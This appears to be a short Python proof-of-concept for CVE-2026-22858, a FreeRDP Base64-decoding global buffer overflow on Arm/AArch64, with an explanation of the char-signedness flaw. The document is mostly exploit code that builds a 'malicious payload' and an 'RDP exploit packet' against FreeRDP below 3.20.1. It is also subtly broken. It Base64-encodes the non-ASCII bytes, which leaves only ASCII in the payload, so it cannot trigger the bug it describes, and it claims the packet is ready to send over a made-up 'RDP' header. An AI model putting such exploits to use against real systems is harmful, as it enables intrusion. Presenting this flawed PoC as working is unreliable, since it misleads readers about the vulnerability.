CVE-2026-22858 FreeRDP Base64解码全局缓冲区溢出漏洞

#!/usr/bin/env python3 """ CVE-2026-22858 PoC - FreeRDP Base64 Decode Global Buffer Overflow Vulnerability: In FreeRDP < 3.20.1, a global-buffer-overflow exists in Base64 decoding path. On Arm/AArch64, char is unsigned, so check 'c <= 0' is optimized to 'c != 0', allowing non-ASCII bytes (0x80-0xFF) to bypass range restriction and access global lookup table out-of-bounds. This PoC generates a malicious Base64 payload that can trigger the overflow. """ import base64 import struct def generate_malicious_base64_payload(): """ Generate a Base64 payload that exploits the char signedness issue. Non-ASCII bytes (0x80-0xFF) will bypass the range check and cause OOB access. """ # Craft payload with non-ASCII bytes that will trigger the overflow # When decoded, these bytes (0x80-0xFF) will be used as indices into # the global lookup table, causing out-of-bounds access malicious_bytes = b'\x80\xff\x80\xff' * 16 # Non-ASCII bytes # Encode to Base64 - this will be processed by vulnerable FreeRDP payload = base64.b64encode(malicious_bytes) return payload def create_rdp_exploit_packet(): """ Create an RDP data packet containing the malicious Base64 payload. This simulates how the payload would be sent over RDP connection. """ header = b'RDP' # Simplified RDP header marker payload = generate_malicious_base64_payload() packet = header + payload return packet def demonstrate_vulnerability(): """ Demonstrate the vulnerability mechanism. """ print('[+] CVE-2026-22858 PoC - FreeRDP Base64 Decode Overflow') print('[+] Target: FreeRDP < 3.20.1 on Arm/AArch64') print() # Generate malicious payload payload = generate_malicious_base64_payload() print(f'[+] Generated malicious Base64 payload: {payload.decode()}') print(f'[+] Payload length: {len(payload)} bytes') print() # Show the raw bytes that will cause the overflow raw_bytes = base64.b64decode(payload) print('[+] Raw bytes that trigger overflow:') print(f' Contains bytes: {[hex(b) for b in raw_bytes[:8]]}') print() print('[+] Vulnerability mechanism:') print(' 1. On Arm/AArch64, char is treated as unsigned') print(' 2. Check "c <= 0" optimized to "c != 0"') print(' 3. Non-ASCII bytes (0x80-0xFF) bypass range check') print(' 4. These bytes used as index into global lookup table') print(' 5. Out-of-bounds memory access occurs') print() # Create RDP packet packet = create_rdp_exploit_packet() print(f'[+] RDP exploit packet created: {len(packet)} bytes') print('[+] Packet ready for transmission to vulnerable FreeRDP server') return packet if __name__ == '__main__': demonstrate_vulnerability()